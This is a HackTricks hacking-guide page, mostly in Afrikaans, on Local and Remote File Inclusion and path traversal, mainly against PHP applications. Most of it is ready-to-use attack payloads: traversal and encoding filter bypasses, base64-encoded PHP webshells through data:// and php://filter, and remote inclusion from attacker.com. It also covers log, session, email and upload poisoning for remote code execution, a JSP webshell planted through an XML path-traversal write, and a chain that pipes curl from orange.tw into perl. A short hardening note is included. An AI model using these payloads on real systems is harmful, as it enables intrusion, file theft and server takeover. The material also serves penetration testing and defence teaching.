File Inclusion/Path traversal
Reading time: 30 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
File Inclusion
Remote File Inclusion (RFI): Die lĂȘer word vanaf 'n afgeleĂ« bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard uitgeskakel (allow_url_include).
Local File Inclusion (LFI): Die bediener laai 'n plaaslike lĂȘer.
Die kwesbaarheid ontstaan wanneer die gebruiker op 'n of ander manier die lĂȘer kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare PHP functions: require, require_once, include, include_once
'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Deur verskeie nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Probeer ook om /
te verander na \
Probeer ook om ../../../../../
by te voeg
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Samevoeging van verskeie wordlists:
Probeer ook om /
te verander na \
Probeer ook om C:/
te verwyder en ../../../../../
by te voeg
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Kyk na die LFI-lys van Linux.
Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences nie-rekursief verwyder
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass om meer karakters aan die einde van die verskafte string by te voeg (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dit is opgelos sedert PHP 5.4
Enkodering
Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Van bestaande folder
Miskien kontroleer die back-end die folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Verkenning van lĂȘerstelsel-gidse op 'n bediener
Die lĂȘerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lĂȘers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die vasstelling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetaileerde metode om dit te bereik:
- Bepaal die gidsdiepte: Bepaal die diepte van jou huidige gids deur suksesvol die
/etc/passwd
lĂȘer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees en 'n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Voeg die naam van die vermoedlike gids (bv.
private
) by die URL, en navigeer dan terug na/etc/passwd
. Die addisionele gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretasie van die Uitkomste: Die bediener se reaksie dui aan of die gids bestaan:
- Fout / Geen Uitvoer: Die gids
private
bestaan waarskynlik nie op die gespesifiseerde ligging nie. - Inhoud van
/etc/passwd
: Die teenwoordigheid van die gidsprivate
is bevestig.
- Rekursiewe Verkenning: Gevonde gidse kan verder ondersoek word vir subgidse of lĂȘers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
Om gidse op verskillende plekke in die lĂȘerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/
'n private
gids bevat (aannemende die huidige gids is op 'n diepte van 3), gebruik:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation is 'n metode wat gebruik word om lĂȘerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lĂȘers te kry deur sekere sekuriteitsmaatreĂ«ls te omseil wat ekstra karakters aan die einde van lĂȘerpaadjies byvoeg. Die doel is om 'n lĂȘerpad te konstruer wat, sodra dit deur die sekuriteitsmaatreĂ«l gewysig is, steeds na die gewenste lĂȘer wys.
In PHP kan verskillende voorstellings van 'n lĂȘerpad as ekwivalent beskou word weens die aard van die lĂȘerstelsel. Byvoorbeeld:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, en/etc/passwd/
word almal as dieselfde pad beskou.- Wanneer die laaste 6 karakters
passwd
is, verander die aanheg van/
(waardeur ditpasswd/
word) nie die geteikende lĂȘer nie. - Net so, as
.php
aan 'n lĂȘerpad aangeheg word (soosshellcode.php
), sal die byvoeging van/.
aan die einde nie die lĂȘer wat geraadpleeg word verander nie.
Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot /etc/passwd
te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) combined with extra dot segments and characters kan gebruik word om deur die lĂȘerstelsel te navigeer en effektief aangehegte strings deur die bediener te ignoreer. - Determining the Required Number of Traversals: Deur proef en fout kan iemand die presiese aantal
../
sequences vind wat nodig is om na die root directory en dan na/etc/passwd
te navigeer, en sodoende enige aangehegte stringe (soos.php
) te neutraliseer terwyl die gewenste pad (/etc/passwd
) ongeskonde bly. - Starting with a Fake Directory: Dit is algemeen om die pad te begin met 'n nie-bestaande gids (soos
a/
). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om aan die bediener se path parsing logic se vereistes te voldoen.
Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing behavior en filesystem structure te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
Hierdie kwesbaarheid is reggestel in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php is dit standaard gedeaktiveer omdat allow_url_include
op Off is. Dit moet op On wees om te werk, en in daardie geval kan jy 'n PHP-lĂȘer vanaf jou bediener insluit en RCE kry:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
As om een of ander rede allow_url_include
On is, maar PHP is filtering toegang tot eksterne webblaaie, volgens hierdie pos, kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
In die vorige kode is die finale +.txt
bygevoeg omdat die aanvaller 'n string nodig gehad het wat op .txt
geëindig het, dus eindig die string daarmee en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP code ingesluit word (en dus uitgevoer).
Another example wat nie die php://
protokol gebruik nie sou wees:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python wortelelement
In python, in 'n kode soos hierdie:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
As die gebruiker 'n absolute path aan file_name
deurgee, word die vorige pad net verwyder:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Dit is die bedoelde gedrag volgens the docs:
As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die saamvoeging voort vanaf die absolute pad-komponent.
Java - lys van gidse
Dit lyk asof as jy 'n Path Traversal in Java het en jy vra vir 'n gids in plaas van 'n lĂȘer, 'n lys van die gids teruggegee word. Dit sal nie in ander tale gebeur nie (afaik).
Top 25 parameters
Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) (van link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI met PHP wrappers & protokolle
php://filter
PHP-filters laat basiese wysigingsoperasies op die data toe voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformeer na 'n ander enkodering (convert.iconv.<input_enc>.<output_enc>
). Om die lys van alle kodings wat ondersteun word te kry, voer in die konsole:iconv -l
warning
Deur die convert.iconv.*
-omsettingsfilter te misbruik kan jy ewekansige teks genereer, wat nuttig kan wees om ewekansige teks te skryf of om 'n funksie soos include te laat verwerk ewekansige teks. Vir meer inligting, sien LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfilleer)zlib.inflate
: Dekompresseer die data- Encryption Filters
mcrypt.*
: Deprecatedmdecrypt.*
: Deprecated- Ander Filters
- As jy in PHP
var_dump(stream_get_filters());
uitvoer, kan jy 'n paar onverwagte filters vind: consumed
dechunk
: keert HTTP chunked encoding omconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Die gedeelte "php://filter" is nie hoofletter-sensitief nie
Using php filters as oracle to read arbitrary files
In this post word 'n tegniek voorgestel om 'n plaaslike lĂȘer te lees sonder dat die uitset deur die server teruggegee word. Hierdie tegniek is gebaseer op 'n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak om php 'n exception te laat gooi.
In die oorspronklike post vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
- Use the codec
UCS-4LE
om die voorste karakter van die teks aan die begin te laat en om die stringgrootte eksponensieel te laat toeneem. - Hierdie sal gebruik word om 'n teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word dat php 'n error sal veroorsaak.
- Die dechunk filter sal alles verwyder as die eerste char nie 'n hexadecimal is nie, sodat ons kan weet of die eerste char hex is.
- Dit, gekombineer met die vorige (en ander filters afhangende van die geraade letter), sal ons toelaat om 'n letter aan die beginning van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak.
- Die codec convert.iconv.UNICODE.CP930 transformeer elke letter na die volgende (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n
a
is, want as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g, is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig. - Deur ander transformasies soos rot13 aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
- Wanneer die aanvanklike char 'n nommer is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die nommer te leak.
- Die finale probleem is om te sien hoe om meer te leak as die aanvanklike letter. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
- En om in staat te wees om further data te verkry is die idee om 2 bytes of junk data at the beginning te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit te laat pivot met die volgende 2 bytes, en verwyder die data tot by die junk data (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te leak.
In die post is 'n tool om dit outomaties uit te voer ook leaked: php_filters_chain_oracle_exploit.
php://fd
Hierdie wrapper laat toe om toegang tot file descriptors wat die proses oop het. Potensieel nuttig om die content van geopende files te exfiltrate:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Jy kan ook php://stdin, php://stdout and php://stderr gebruik om toegang te kry tot die file descriptors 0, 1 and 2 onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
zip:// and rar://
Laai 'n Zip of Rar-lĂȘer op met 'n PHPShell daarin en kry daartoe toegang.
Om die rar-protokol te kan misbruik moet dit spesifiek geaktiveer word.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Let daarop dat hierdie protokol beperk is deur php-konfigurasies allow_url_open
en allow_url_include
expect://
Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spesifiseer jou payload in die POST parameters:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
'n .phar
-lĂȘer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include
gebruik om lĂȘers te laai. Die PHP-kodesnippie hieronder demonstreer die skepping van 'n .phar
-lĂȘer:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Om die .phar
lĂȘer te kompileer, moet die volgende opdrag uitgevoer word:
php --define phar.readonly=0 create_path.php
By uitvoering sal 'n lĂȘer met die naam test.phar
geskep word, wat moontlik misbruik kan word om Local File Inclusion (LFI)-kwesbaarhede te eksploiteer.
In gevalle waar die LFI slegs lĂȘers lees sonder om die PHP-kode daarin uit te voer â byvoorbeeld via funksies soos file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, of filesize()
â kan 'n poging aangewend word om 'n deserialisasie-kwesbaarheid te eksploiteer. Hierdie kwesbaarheid hou verband met die lees van lĂȘers deur die gebruik van die phar
protocol.
Vir 'n gedetailleerde begrip van die eksploitasie van deserialisasie-kwesbaarhede in die konteks van .phar
-lĂȘers, verwys na die dokument hieronder:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Dit was moontlik om any arbitrary file read from PHP that supports php filters te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan found in this post.
Baie kort samevatting: 'n 3 byte overflow in die PHP heap is misbruik om die ketting van free chunks van 'n spesifieke grootte te verander sodat dit moontlik was om write anything in any address, daarom is 'n hook bygevoeg om system
aan te roep.\ Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
Meer protokolle
Kyk by meer moontlike protocols to include here:
- php://memory and php://temp â Skryf in geheue of in 'n tydelike lĂȘer (not sure how this can be useful in a file inclusion attack)
- file:// â Toegang tot plaaslike lĂȘerstelsel
- http:// â Toegang tot HTTP(s) URL's
- ftp:// â Toegang tot FTP(s) URL's
- zlib:// â Kompressiestrome
- glob:// â Vind padname wat by 'n patroon pas (Dit gee niks printbaars terug nie, so nie regtig nuttig hier nie)
- ssh2:// â Secure Shell 2
- ogg:// â Audio-strome (Not useful to read arbitrary files)
LFI via PHP's 'assert'
Local File Inclusion (LFI)-risiko's in PHP is veral hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karaktere soos ".." bevat, getoets word maar nie behoorlik gesuiwer nie.
Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal te voorkom soos volg:
assert("strpos('$file', '..') === false") or die("");
Terwyl dit daarop gemik is om traversal te stop, skep dit onbedoeld 'n vektor vir code injection. Om dit te misbruik om lĂȘerinhoud te lees, kan 'n attacker gebruik:
' and die(highlight_file('/etc/passwd')) or '
Net so, om arbitrĂȘre stelselopdragte uit te voer, kan iemand gebruik:
' and die(system("id")) or '
Dit is belangrik om URL-encode these payloads.
PHP Blind Path Traversal
warning
Hierdie tegniek is relevant in gevalle waar jy die control oor die file path van 'n PHP function het wat 'n access a file sal uitvoer, maar jy sal nie die inhoud van die lĂȘer sien nie (soos 'n eenvoudige oproep na file()
).
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As opsomming gebruik die tegniek die "UCS-4LE" encoding om die inhoud van 'n lĂȘer so groot te maak dat die PHP function opening die lĂȘer 'n fout sal veroorsaak.
Dan, om die eerste char te leak, word die filter dechunk
gebruik tesame met ander soos base64 of rot13, en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander chars aan die begin te plaas en hulle te leak.
Funksies wat moontlik kwesbaar is: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Vir die tegniese besonderhede, kyk die genoemde post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wanneer server-side kode wat lĂȘers ingevoer/opgelaai kry die bestemmingspad bou met gebruikersbeheerde data (bv. 'n filename of URL) sonder om dit te kanoniseer en te valideer, kan ..
segmente en absolute paaie die bedoelde gids verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
Typical exploitation workflow:
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
- Bepaal web-exposed directories. Algemene voorbeelde:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
â dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
â dropshell.aspx
- Apache/PHP:
- Skryf 'n traversal pad wat uit die bedoelde stoor-gids breek in die webroot, en sluit jou webshell-inhoud in.
- Blaai na die neergesette payload en voer opdragte uit.
Notas:
- Die kwetsbare diens wat die skryf uitvoer kan op 'n nie-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof webportaal (anders poort) sal later jou payload bedien.
- Op Java stacks word hierdie lĂȘerskrywings dikwels geĂŻmplementeer met eenvoudige
File
/Paths
concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Verharding wat hierdie klas foute neutraliseer:
- Los dit op na 'n kanoniese pad en dwing af dat dit 'n afstammeling is van 'n toegelate basismap.
- Verwerp enige pad wat
..
, absolute roots, of drive letters bevat; verkies gegenereerde lĂȘernamme. - Laat die writer loop as 'n laag-privilegieerde rekening en skei skryfgidse van geserveerde wortels.
Remote File Inclusion
Eerder verduidelik, follow this link.
Via Apache/Nginx log file
As die Apache- of Nginx-bediener kwesbaar vir LFI binne die include-funksie is, kan jy probeer toegang kry tot /var/log/apache2/access.log
or /var/log/nginx/access.log
, 'n php shell soos <?php system($_GET['c']); ?>
in die user agent of in 'n GET parameter plaas en daardie lĂȘer include.
warning
Let wel dat as jy dubbel quotes gebruik vir die shell in plaas van simple quotes, sal die dubbel quotes verander word na die string "quote;", PHP sal daar 'n fout gooi en niks anders sal uitgevoer word.
Maak ook seker dat jy die payload korrekt skryf of PHP elke keer 'n fout sal gee wanneer dit probeer om die log file te laai en jy sal nie 'n tweede geleentheid hĂȘ nie.
Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header authorisation "basic" bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingegooi word.\ Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing woordlys: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Deur e-pos
Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?>
en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos /var/mail/<USERNAME>
of /var/spool/mail/<USERNAME>
Deur /proc//fd/
- Laai baie shells op (byvoorbeeld: 100)
- Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, with $PID = PID van die proses (kan met brute force probeer word) en $FD die file descriptor (kan ook met brute force probeer word)
Deur /proc/self/environ
Soos 'n loglĂȘer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lĂȘer weerspieĂ«l word.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Deur oplaai
As jy 'n lĂȘer kan oplaai, injekteer net die shell payload daarin (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Om die lĂȘer leesbaar te hou, is dit die beste om dit in die metagegewens van die beelde/doc/pdf in te voeg
Via ZIP-lĂȘer oplaai
Laai 'n ZIP-lĂȘer op wat 'n PHP shell bevat (gekompresseer) en kry toegang:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP word hierdie sessions gestoor in /var/lib/php5/sess\[PHPSESSID]_ lĂȘers
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Stel die cookie in op <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Gebruik die LFI om die PHP-sessielĂȘer in te sluit
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Indien ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa
Via vsftpd logs
Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
- Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
- Na inspuiting, gebruik die LFI om die bedienerlogs vanaf /var/log/vsftpd.log te verkry.
Via php base64 filter (using base64)
Soos getoon in this artikel, PHP base64 filter ignoreer nie-base64 karakters. Jy kan dit gebruik om die lĂȘeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (geen lĂȘer nodig)
This writeup verduidelik dat jy php filters kan gebruik om ewekansige inhoud as output te genereer. Dit beteken basies dat jy ewekansige php-kode kan genereer vir die include sonder om dit in ân lĂȘer te skryf.
Via segmentation fault
Upload 'n lĂȘer wat as tydelike in /tmp
gestoor sal word, dan in die dieselfde request, veroorsaak 'n segmentation fault, en dan sal die tydelike lĂȘer nie verwyder word nie en jy kan daarna soek.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
Via PHP_SESSION_UPLOAD_PROGRESS
If you found a Local File Inclusion even if you don't have a session and session.auto_start
is Off
. If you provide the PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Die volgende misbruik 'n CRLF vuln om RCE te kry (van here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
As jy 'n Local File Inclusion gevind het en 'n lĂȘer wat phpinfo() openbaar het met file_uploads = on, kan jy RCE kry:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
As jy 'n Local File Inclusion gevind het en jy can exfiltrate the path of the temp file BUT die server is checking if the file to be included has PHP marks, kan jy probeer om daardie kontrole te bypass met hierdie Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
